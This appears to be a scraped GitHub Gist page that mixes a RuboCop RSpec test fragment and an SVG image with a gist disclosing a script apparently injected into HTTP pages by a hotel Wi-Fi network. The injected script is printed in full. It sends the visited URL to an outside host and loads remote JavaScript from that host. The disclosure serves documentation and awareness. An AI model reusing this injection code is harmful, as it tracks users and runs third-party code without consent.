Skip to content

Instantly share code, notes, and snippets.

# frozen_string_literal: true
RSpec.describe RuboCop::Cop::Style::SymbolArray, :config do
subject(:cop) { described_class.new(config) }
before do
# Reset data which is shared by all instances of SymbolArray
described_class.largest_brackets = -Float::INFINITY
end
message = <<-END
aaa h
a a a h
a a a hhh eee r rrr eee
a a a h h ee ee rr ee ee
aa a h h e r e
aaaa h h eee r eee
END
lines = message.split("\n").map(&:rstrip)
@benmanns
benmanns / pod-hotels.html
Last active October 25, 2019 01:48
This gets injected on HTTP sites if you visit Pod Hotels (and pay $11.48 facility fee for Wi-Fi).
<script>!(function (rw, proxy_id, url, host, rotw_uid) {if (window.self !== window.top) {return;}while (url.indexOf("/") > -1) {url = url.replace("/", "_");}var routier_time = parseInt(((new Date()).getTime() - (new Date()).getTimezoneOffset() * 60000) / 1000);(new Image()).src = host + "/get/scriptInjected/" + url + "," + routier_time + "," + proxy_id + "," + rotw_uid;var js = document.createElement("script");var ts = new Date().getTime();js.src = host + "/AppProvider/getApps/" + url + "," + proxy_id + "," + rotw_uid + "," + ts;document.getElementsByTagName("head")[0].appendChild(js);document.dispatchEvent(new Event("rotwStart"));})(window._rw = (window._rw || {}), window._rw.proxy_id = "CZ3732JCVX", btoa(document.URL), window._rw.host = "https://mig.ton14k2ewq.com", window._rw.rotw_uid = "169314784150924");</script>

<img src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='50' %3E%3Ctext font-size='16' x='10' y='20'%3E%3Ctspan fill='red'%3EHello%3C/tspan%3E, %3Ctspan fill='green'%3Eworld%3C/tspan%3E! %3C/text%3E%3C/svg%3E"/>